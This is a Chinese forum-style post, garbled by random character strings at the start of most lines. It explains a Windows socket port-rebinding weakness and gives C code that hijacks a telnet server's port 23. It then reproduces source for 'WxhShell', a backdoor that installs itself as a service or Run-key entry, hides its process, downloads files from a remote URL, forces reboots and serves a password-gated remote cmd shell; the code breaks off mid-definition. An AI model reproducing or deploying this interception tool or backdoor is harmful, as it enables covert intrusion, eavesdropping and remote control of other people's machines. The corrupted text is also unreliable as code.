在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$5)#L$!,] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\GxqE8 MyllL@kP saddr.sin_family = AF_INET;
0#!}s&j/
Y6VJr+Ap( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A#T"4'#?< PENB5+1OK bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!V3+(o1 :VZS7$5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~io. TS|r [Tp?u8$p` 这意味着什么?意味着可以进行如下的攻击:
Zja3HGL AG=PbY9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0P9\; !Y dR1IndZl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*YvtT(Gt ;'8P/a$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
d\]KG(T @ztT1?!e 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S3Gr}N eTvjo(Lvx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`v``}8tm 8VMA~7^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\]]K{DO B=& [Z2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@tm2Y%Y! 7cGOJA5& #include
9U6$-]J #include
bHnKtaK4c #include
<m`CLVx8m #include
/-[vC$B" DWORD WINAPI ClientThread(LPVOID lpParam);
iIX%%r+ int main()
A'z]?xQR {
Ia}qDGqPp! WORD wVersionRequested;
h$!YKfhq} DWORD ret;
@i>)x*I#AI WSADATA wsaData;
BNCM{}e BOOL val;
'`k7l7I[@ SOCKADDR_IN saddr;
|f fHOef SOCKADDR_IN scaddr;
K?'m#}] int err;
= +MF@ 4 SOCKET s;
-^CW}IM{ I SOCKET sc;
w!6{{m int caddsize;
E0+L?(; HANDLE mt;
sT2`y$' DWORD tid;
=f!A o:Uc wVersionRequested = MAKEWORD( 2, 2 );
RxYENG]/6 err = WSAStartup( wVersionRequested, &wsaData );
}'eef"DJ9 if ( err != 0 ) {
a~0 ~Y y printf("error!WSAStartup failed!\n");
FXJ0
G>F return -1;
l+"p$iZs }
5_E8
RAG saddr.sin_family = AF_INET;
Eb[;nk? t;w<n" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<PDCM8 !?JZ^/u saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|> STb\ saddr.sin_port = htons(23);
|JIlp"[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M^:JhX{ {
!\R5/-_UU printf("error!socket failed!\n");
phH@{mI return -1;
)$S=iL8( }
C1NU6iV^z val = TRUE;
U2YY //SO_REUSEADDR选项就是可以实现端口重绑定的
tsg`c;{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J*rYw5QB {
.4v?/t1 printf("error!setsockopt failed!\n");
qvc<_k^ return -1;
W2X`%Tx0 }
"Y<;R+z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qj~=qV0p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
OS#aYER~/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>G|RVB B$rhsK% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x"q]~u<rB {
H-pf8 ret=GetLastError();
K^<?LXJF printf("error!bind failed!\n");
H[.)&7M\ return -1;
cV6H!\ }
b, a7XANsh listen(s,2);
129\H<
m while(1)
.Qrpz^wdt {
H]tD~KM< caddsize = sizeof(scaddr);
Rr
[_t FM //接受连接请求
YtvDayR> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
r =x"E$ if(sc!=INVALID_SOCKET)
BO*)cLQ {
Ee}|!n> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$CMye; yL if(mt==NULL)
#3*cA!V.< {
Ct-eD-X{ printf("Thread Creat Failed!\n");
\Ki3ls break;
Ac U@H0 }
AwG0E`SU }
)dfhy CloseHandle(mt);
t[2b~peNI }
`l]Lvk8O closesocket(s);
0qNk.1pv WSACleanup();
h.K"v5I* return 0;
2z
!05]B% }
_<f%==
I' DWORD WINAPI ClientThread(LPVOID lpParam)
[4#HuO@h {
>;9g`d SOCKET ss = (SOCKET)lpParam;
#$W5)6ch SOCKET sc;
1"CWEL`i unsigned char buf[4096];
?rOj?J9 SOCKADDR_IN saddr;
`WH$rx! long num;
n`Z}tQ%)o DWORD val;
ied1+H DWORD ret;
>g !Z|ju //如果是隐藏端口应用的话,可以在此处加一些判断
b/[X8w'VP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'sZGLgT;m saddr.sin_family = AF_INET;
-KC@M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@}6<,;|DQ saddr.sin_port = htons(23);
H,TApF89A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"=DQ { (L {
WwsNAJ printf("error!socket failed!\n");
1f+A_k/@ return -1;
;O)*!yA(GG }
e^N~)Nlj val = 100;
#"-_ ~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
KH#z =_ {
5nib<B%<V ret = GetLastError();
;!f~ return -1;
`r1j>F7Xb }
VB90 5% if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F#|y,<}< {
kO}%Y?9d ret = GetLastError();
1y:fH4V return -1;
Fq~Zr;A }
pBe1: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dCM&Yf}K {
]R\L~Kr printf("error!socket connect failed!\n");
95IP_1}? closesocket(sc);
N<SW
$ o closesocket(ss);
=XQGg`8<LB return -1;
j_,/U^Ws|f }
E8av/O
VUd while(1)
lfb+ )s {
#akJhy@m$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Xbmsq,*] //如果是嗅探内容的话,可以再此处进行内容分析和记录
M{orw;1Isy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
yHE\Q num = recv(ss,buf,4096,0);
07>m*1G if(num>0)
.Bkfe{^ send(sc,buf,num,0);
l4$ sku- else if(num==0)
L
*\[;.mk break;
9j^rFG!n num = recv(sc,buf,4096,0);
CC^]Y.9 if(num>0)
<EqS
,cO^ send(ss,buf,num,0);
Dn<3#V else if(num==0)
)6%*=- break;
}=f\WWJf0 }
LodP,\T closesocket(ss);
#Ev}Gf+5Q closesocket(sc);
fr`#s\JKw return 0 ;
[@/p 8I }
0.+Eo.AX4M i?d545. u 0 ;LF>+fJ ==========================================================
XSof{:V xKBi".wA 下边附上一个代码,,WXhSHELL
U*{0, Ue' W2-l_{ ==========================================================
A?04,l]y G)YmaHeI;[ #include "stdafx.h"
- s'W^( pvl];w #include <stdio.h>
eXsp0!v #include <string.h>
E8PwA. #include <windows.h>
*MfH\X379 #include <winsock2.h>
mEYfsO #include <winsvc.h>
?4 wl #include <urlmon.h>
`0%;Gz%} 4xT /8>v2| #pragma comment (lib, "Ws2_32.lib")
TT9
\m=7 #pragma comment (lib, "urlmon.lib")
k;<@2C ,Vj& #define MAX_USER 100 // 最大客户端连接数
bHm/Z Zx #define BUF_SOCK 200 // sock buffer
RLex#j #define KEY_BUFF 255 // 输入 buffer
13 L&f\b 2V;{@k #define REBOOT 0 // 重启
>q?{'#i
/ #define SHUTDOWN 1 // 关机
Iu0GOy*[ Zc38ht\r; #define DEF_PORT 5000 // 监听端口
G"3KYBN> \nyqW4nTm #define REG_LEN 16 // 注册表键长度
%I`'it2d #define SVC_LEN 80 // NT服务名长度
m["e7>9G wvisu\V // 从dll定义API
@$kzes\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9Bpb? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?{ \7th37 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
id+EBVHAd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:I/9j=@1 \kKd:C{ // wxhshell配置信息
wbr$w>n struct WSCFG {
qYVeFSS int ws_port; // 监听端口
lmUCrs37 char ws_passstr[REG_LEN]; // 口令
5`&@3
m9/ int ws_autoins; // 安装标记, 1=yes 0=no
4`o0?_.' char ws_regname[REG_LEN]; // 注册表键名
/T {R\ char ws_svcname[REG_LEN]; // 服务名
~C>;0a;<: char ws_svcdisp[SVC_LEN]; // 服务显示名
W\0u[IV.x char ws_svcdesc[SVC_LEN]; // 服务描述信息
' xaPahx; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%j@/Tx/ int ws_downexe; // 下载执行标记, 1=yes 0=no
*qL'WrB1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M`Wk@t6> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q},,[t _d7;Z% };
v1+.-hO y+$vHnS/jC // default Wxhshell configuration
wPYeKOh' struct WSCFG wscfg={DEF_PORT,
"fv+}' "xuhuanlingzhe",
HLthVc w 1,
=d@)*W 6 "Wxhshell",
_7u&.l<; "Wxhshell",
=n=!s{A:t "WxhShell Service",
3rZPVR$)) "Wrsky Windows CmdShell Service",
[vuikJP>1k "Please Input Your Password: ",
im+g|9@% 1,
H_S"4ISS_ "
http://www.wrsky.com/wxhshell.exe",
}jce5E "Wxhshell.exe"
^wSGrV' };
-/B*\X[ &)Zv>P8z` // 消息定义模块
6^jrv [d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;D-k\kv char *msg_ws_prompt="\n\r? for help\n\r#>";
~#so4<A`3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
uF3{FYM{I char *msg_ws_ext="\n\rExit.";
B
k\KG char *msg_ws_end="\n\rQuit.";
KCbOO8cQS char *msg_ws_boot="\n\rReboot...";
('uUf!h?\ char *msg_ws_poff="\n\rShutdown...";
P!j*4t char *msg_ws_down="\n\rSave to ";
l{?9R.L |'o<w
]hc char *msg_ws_err="\n\rErr!";
o*d (; char *msg_ws_ok="\n\rOK!";
:qR8 e J dR>$vbjh1Z char ExeFile[MAX_PATH];
|FaK=e int nUser = 0;
6
3PV R" HANDLE handles[MAX_USER];
3 %r*~#nz int OsIsNt;
ow`F 7 WSU/Z[\`H SERVICE_STATUS serviceStatus;
c;t3I}, SERVICE_STATUS_HANDLE hServiceStatusHandle;
pwSkw J] {#@[ttw$U // 函数声明
~z41$~/ int Install(void);
&{wRB l # int Uninstall(void);
mo4F\$2N int DownloadFile(char *sURL, SOCKET wsh);
Y>E` 7n int Boot(int flag);
%0vsm+XQ0E void HideProc(void);
I:al[V2g int GetOsVer(void);
l.;^w int Wxhshell(SOCKET wsl);
pFu!$.Fr void TalkWithClient(void *cs);
JAMV@ int CmdShell(SOCKET sock);
=SW <Vhtb int StartFromService(void);
%@aC5^Ovy+ int StartWxhshell(LPSTR lpCmdLine);
Wy1.nn[ x}`)'a[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
m,6u+Z, VOID WINAPI NTServiceHandler( DWORD fdwControl );
.A/xH
x ^xgPL' // 数据结构和表定义
BlT)hG(M> SERVICE_TABLE_ENTRY DispatchTable[] =
&01KHJY)/G {
*U\`HUW {wscfg.ws_svcname, NTServiceMain},
7FaF]G {NULL, NULL}
r>KmrU4Q };
?hp,h3s;n$ DtS7)/<T
// 自我安装
I+^iOa int Install(void)
8/P!i2o {
/UR;,ts char svExeFile[MAX_PATH];
>*^SQ{9 HKEY key;
zrE{CdG%y strcpy(svExeFile,ExeFile);
h<CRW- ns/*WH&[x // 如果是win9x系统,修改注册表设为自启动
V=>]&95-f if(!OsIsNt) {
*cXi*7|= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K-c>J
uv&, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y2ON!Rno RegCloseKey(key);
Y>2#9LA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a7b1c! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U:
< RegCloseKey(key);
J*%IvRg
return 0;
|Zo36@s }
&`]T#"> }
'c/8|9jX }
D~Q-:G$x else {
j@UE#I|h Hy'EbQ // 如果是NT以上系统,安装为系统服务
w:1UwgcPC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p]s)Xys if (schSCManager!=0)
@,G\`;Ma {
.M[t5I'\ SC_HANDLE schService = CreateService
o=lZl_5/u; (
v}!^RW'X schSCManager,
= 'e_9b\K wscfg.ws_svcname,
F,mStw: wscfg.ws_svcdisp,
|1(L~g SERVICE_ALL_ACCESS,
9RK.+2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lEQj62zIQ SERVICE_AUTO_START,
iK5[P SERVICE_ERROR_NORMAL,
}-Nc}%5 svExeFile,
vMJ_n=Vf NULL,
XVKRT7U NULL,
X
VH(zJ NULL,
a=B $L6*4 NULL,
%82:?fq NULL
v[DxWs8q );
xj]^<oi< if (schService!=0)
Efpju( {
e+m(g CloseServiceHandle(schService);
3Zp q# CloseServiceHandle(schSCManager);
4 4WyfpTJ* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NUtKT~V strcat(svExeFile,wscfg.ws_svcname);
O2lM;=" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\ZSq ZDq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
OzTR#`oey RegCloseKey(key);
( pCU:'" return 0;
e!k4Ij-] }
YQ1rS X3 }
%r(qQM.Pl CloseServiceHandle(schSCManager);
SapVS*yx@ }
Cs vwc% }
cwHbm% ]%G#x return 1;
[KW)z#`* }
&!+1GI9z
*^Z -4 // 自我卸载
GJF
,w{J int Uninstall(void)
Pvm pWa {
O^3XhTW^\~ HKEY key;
6jov8GIAt +mO/9m if(!OsIsNt) {
M@pF[J/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"SC]G22 RegDeleteValue(key,wscfg.ws_regname);
7PO]\X^(zE RegCloseKey(key);
<c,iu{: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6>'>BamX RegDeleteValue(key,wscfg.ws_regname);
bc& 5*? RegCloseKey(key);
W:8{}Iu< return 0;
(r1"!~d@ }
?'tFTh }
zP$"6~. }
NR^3
1&}It else {
F*4G@) po*r14f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
B+c,3@)x if (schSCManager!=0)
' 1dhdm8 {
c11;( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T7?z0DKi if (schService!=0)
5m>f1`4JS {
y8v0>V0) if(DeleteService(schService)!=0) {
a\p`J 9Z@ CloseServiceHandle(schService);
vhU#<59a1 CloseServiceHandle(schSCManager);
BGstf4v>A< return 0;
/1+jQS }
l5enlYH CloseServiceHandle(schService);
k/Q8:qA }
1_@vxi~aW_ CloseServiceHandle(schSCManager);
[| C }
zgxMDLH }
MiMDEe%f% Ud#xgs' return 1;
>5t]Zlb` }
pT:6A[& N=@8~{V. // 从指定url下载文件
m9ky?A, int DownloadFile(char *sURL, SOCKET wsh)
PoRP]Q*n {
4`?WdCW8 HRESULT hr;
'SWK{t \4 char seps[]= "/";
8b25D|8l char *token;
v#5hK<9 char *file;
8'Q&FW3" char myURL[MAX_PATH];
ji5Nq+S2 char myFILE[MAX_PATH];
$A98h-*x k+eeVy strcpy(myURL,sURL);
]-OF3+l4 token=strtok(myURL,seps);
zpcO7AY~ while(token!=NULL)
@|d`n\%x {
IL%P\Zs file=token;
7v`~;}5 token=strtok(NULL,seps);
d @b ]/ }
e,*@+E\4 aL8Z|* GetCurrentDirectory(MAX_PATH,myFILE);
K[q-[q#yc strcat(myFILE, "\\");
LP?*RrM strcat(myFILE, file);
z
E\~Oa; send(wsh,myFILE,strlen(myFILE),0);
tSTl#xy send(wsh,"...",3,0);
8`|Z9umW* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}~v0o#
I if(hr==S_OK)
NU3s^ 8\( return 0;
f!B\X*| else
A%EGu4 return 1;
;a(7% AaM~B`B }
1f$1~5Z X9YbTN // 系统电源模块
;jmT5XzL int Boot(int flag)
bZgFea_>i {
.ITTY QHv) HANDLE hToken;
f Qf5% TOKEN_PRIVILEGES tkp;
3AcDW6x| EB
p(^rj if(OsIsNt) {
j__l'?s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lQVK~8t3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
75c\.=G9q< tkp.PrivilegeCount = 1;
TTSq }sb} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ge*N%=MX8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4B-+DH>{6 if(flag==REBOOT) {
Fw%S%*B8g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
CmtDfE return 0;
~[0^{$rrWs }
f3mQd}<L else {
}Gd^r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|#22pq?RP return 0;
Ro#O{ }
v;Rm42k }
oK2j PP else {
J+qcA} if(flag==REBOOT) {
Nbt.y 'd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M{X; H'2 return 0;
4` :Eiik&p }
#D%l;Ae else {
n7bML?f' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"]yfx@)_ return 0;
IG4`f~k^ }
(usPAslr }
LP}'upv -g4 {:!*D return 1;
S"R(6:hkgu }
KY9@2JG &hIr@Gi@ch // win9x进程隐藏模块
-8sB\E void HideProc(void)
_TVKvRh {
if+97^Oy b2hXFwPe HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
lkb,UL;V if ( hKernel != NULL )
h?vt6t9 {
FivqyT7i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|p*s:*TJp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#mRT>]di`D FreeLibrary(hKernel);
]mx1djNA }
Gyy?cn6_ v@qVT'qlU return;
K^c%$n:}+ }
P A$jR
fQ G@,XUP // 获取操作系统版本
=u.hHkx int GetOsVer(void)
Wtp;se@# {
W<Asr@ OSVERSIONINFO winfo;
+wm%`N;v< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d-B,)$zE GetVersionEx(&winfo);
Z:>ek>Op if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
j$r2=~1 return 1;
&xS]
;Fr else
mz3Dt> return 0;
;<BMgO}N }
'I@l$H ?Nl@K/ // 客户端句柄模块
4l_~-Peh int Wxhshell(SOCKET wsl)
D3C3_
@* {
\!4_m8? SOCKET wsh;
gLWbd~ struct sockaddr_in client;
")3$. '5Dg DWORD myID;
l
!JTM )8V=!73 while(nUser<MAX_USER)
~lr,}K, {
n fMU4(: int nSize=sizeof(client);
mfr7w+DK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
]=(PtzVa if(wsh==INVALID_SOCKET) return 1;
.\"8H1I\T ?PU7xO;_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.-cx9& if(handles[nUser]==0)
D8)6yPwE closesocket(wsh);
Vv*](iM else
Gg5+Ap D nUser++;
> |(L3UA9 }
@gjA8mL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
e^or qw/I oN=>U"<\1 return 0;
bA/'IF+ }
Z4D[nPm$ 6Vu) // 关闭 socket
rWip[>^ void CloseIt(SOCKET wsh)
B[;aNyd< {
6rN.)dL.#N closesocket(wsh);
[(Ihu e nUser--;
%G'P!xQhy ExitThread(0);
?l^NKbw }
8]xYE19= S.*LsrSV // 客户端请求句柄
_''9-t;n, void TalkWithClient(void *cs)
nYy+5u]FG {
8l
>Xbz 0uJ??4N9 SOCKET wsh=(SOCKET)cs;
e}TDo`q char pwd[SVC_LEN];
T}Ve:S char cmd[KEY_BUFF];
Up\ k67 char chr[1];
+*x9$LSD int i,j;
WO[O0!X Nt7z
]F ` while (nUser < MAX_USER) {
@
[%K D jh/aK_Q,w if(wscfg.ws_passstr) {
,7SqRY,+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:rEZR ` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sv+6# //ZeroMemory(pwd,KEY_BUFF);
b$>1_wTL i=0;
Fq'Ds[wd5 while(i<SVC_LEN) {
{Hzj(c~S? FA}y"I'W // 设置超时
;.3
{}.Y fd_set FdRead;
3shd0q< struct timeval TimeOut;
P}"uC`036 FD_ZERO(&FdRead);
)8_MkFQe FD_SET(wsh,&FdRead);
7
/XfPF TimeOut.tv_sec=8;
&M6Zsmo TimeOut.tv_usec=0;
u4DrZ-v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R ^@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Sn[/'V^$a )&93YrHgC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
v>0} v)<v pwd
=chr[0]; wx_j)Wij6
if(chr[0]==0xd || chr[0]==0xa) { (9v%66y
pwd=0; G$;cA:p-j
break; KxQMPtHstz
} o~26<Lk
i++; }gKJ~9Jg
} 2Wr^#PY60
$aHHXd}@t2
// 如果是非法用户,关闭 socket RhkTN'vO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UD ;UdehC
} +IG=|X
%#E$wz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'CCAuN>J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [I}xR(a@n
L#\5)mO.v
while(1) { !HKW_m^3J
3|bbJ6*.<
ZeroMemory(cmd,KEY_BUFF); bRK\Tua
6
S%jFH4#
// 自动支持客户端 telnet标准 5 TLE%#G@+
j=0; +6:jm54
while(j<KEY_BUFF) { i'[! 'HY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :jFZz%
cmd[j]=chr[0]; $0Un'"`S
if(chr[0]==0xa || chr[0]==0xd) { R]4
h)"
cmd[j]=0; >L J<6s[=
break; 3;3 cTXR?=
} .HPa\b\L>
j++; uj+{
tc
} -x-EU#.G
JV?d/[u,
// 下载文件 ':]Hj8t_
if(strstr(cmd,"http://")) { M"yOWD~s~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o,{]<Sm
if(DownloadFile(cmd,wsh)) GIhFOK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'u6n,yRm
else a&u!KAQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %uvA3N>
} B(Er/\-@U
else { HJt
'@t=Ak
6xx(o
switch(cmd[0]) { }H|'W[Q.
F12$BKDH
// 帮助 |qpFR)l
case '?': { kc<5wY_t
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lLLPvW[Q
break; WG
+]
} ~bz$] o-<
// 安装 9(lcQuE9
case 'i': { RV%)~S@!R
if(Install()) sW76RKX8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4<Kxo\\S
else M9?f`9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F:8@ ]tA&
break; ;9'] na
} d=dHY(ms]
// 卸载 eu'~(_2
case 'r': { &ju.5v|
if(Uninstall()) dnkHx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vze vOS
else 3rX40>Cs8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dF*M"|[
break; X XxH<E$p
} g @NwW&
// 显示 wxhshell 所在路径 w!-MMT4y
case 'p': { l[[^]__
char svExeFile[MAX_PATH]; X6xs@tgQ
strcpy(svExeFile,"\n\r"); m@2=vq1f
strcat(svExeFile,ExeFile); Y++n0sK5<
send(wsh,svExeFile,strlen(svExeFile),0); t+D= @"BZP
break; (S2E'L L{
} YKzfI9Y
// 重启 P_)=sj!>-
case 'b': { bmJdZD7-<k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XW~a4If
if(Boot(REBOOT)) Y7;=\/SV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl`x/
else { zR)/h
closesocket(wsh); O^@F?CG :1
ExitThread(0); plpb4>
S
} =MwR)CI#
break; (L:Mdo
} uzhTNf
// 关机 H-mQ{K^
case 'd': { ]GD&EQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); syCT)}T6z
if(Boot(SHUTDOWN)) RwhKW?r+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVZ~n4
else { KyBtt47\
closesocket(wsh); 8Wgzca
Q*
ExitThread(0); /T+%q#4
} uvJ&qd8M
break; dA <_`GFR
} JL>DRIR%NV
// 获取shell 00@F?|-j
case 's': { =sF4H_B
CmdShell(wsh); r_kaS
als
closesocket(wsh); z m]R76
ExitThread(0); {a15s6'd
break; g |H
} dx+xs&
// 退出 (-`PO]e48
case 'x': { (LJ7xoJ^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `ZT/lB`
CloseIt(wsh); JP^\
break; *Ea)b-
} AQ,"):ofvT
// 离开 i)$ySlEh
case 'q': { | >'q%xK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pCC^Hxa
closesocket(wsh); /IF?|71,m
WSACleanup(); ^m
AxV7k
exit(1); Q$sC%P(y
break; q(A_k+NL
} j8aH*K-l{
} h6n!"z8H
}
,<Wt8'e
y>7 r;e
// 提示信息 p,!IPWo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q_9 8=fyE6
} R<O Rw]
} lCTXl5J5
Zr =B8wuT
return; c6AwO?x/
} fzOh3FO+
mA"[x_
// shell模块句柄 piqh7u3~
int CmdShell(SOCKET sock) Y#6LNI
{ v6Wz:|G/u
STARTUPINFO si; 'K01"`#
ZeroMemory(&si,sizeof(si)); Z#D*HAd`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (:\L@j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h<8c{RuoZC
PROCESS_INFORMATION ProcessInfo; f1sp6S0V\
char cmdline[]="cmd"; $4qM\3x0,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #2"'tHf4
return 0; 9+/D\|"{
} V]m}xZ'?^
s_^N=3Si
// 自身启动模式 %@|)&][hO
int StartFromService(void) &N]e pV>
{ %~kE,^
typedef struct YY(_g|;?8
{ 9c[bhGD?
DWORD ExitStatus; 53d`+an2
